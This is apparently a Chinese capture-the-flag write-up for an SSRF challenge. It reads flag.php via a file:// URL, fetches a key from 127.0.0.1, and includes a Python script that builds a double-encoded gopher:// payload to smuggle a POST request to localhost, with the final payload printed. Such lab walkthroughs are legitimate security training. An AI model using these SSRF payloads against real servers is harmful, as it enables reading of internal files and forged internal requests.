通过file协议访问flag.php文件内容
?url=file:///var/www/html/flag.php
右键查看页面源代码
需要从内部携带key发送post数据包即可获得flag
?url=http://127.0.0.1/flag.php
得到了key
构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py)
python
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
在命令行窗口执行
python gopher.py
通过Gopher协议发送请求,得到了flag
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A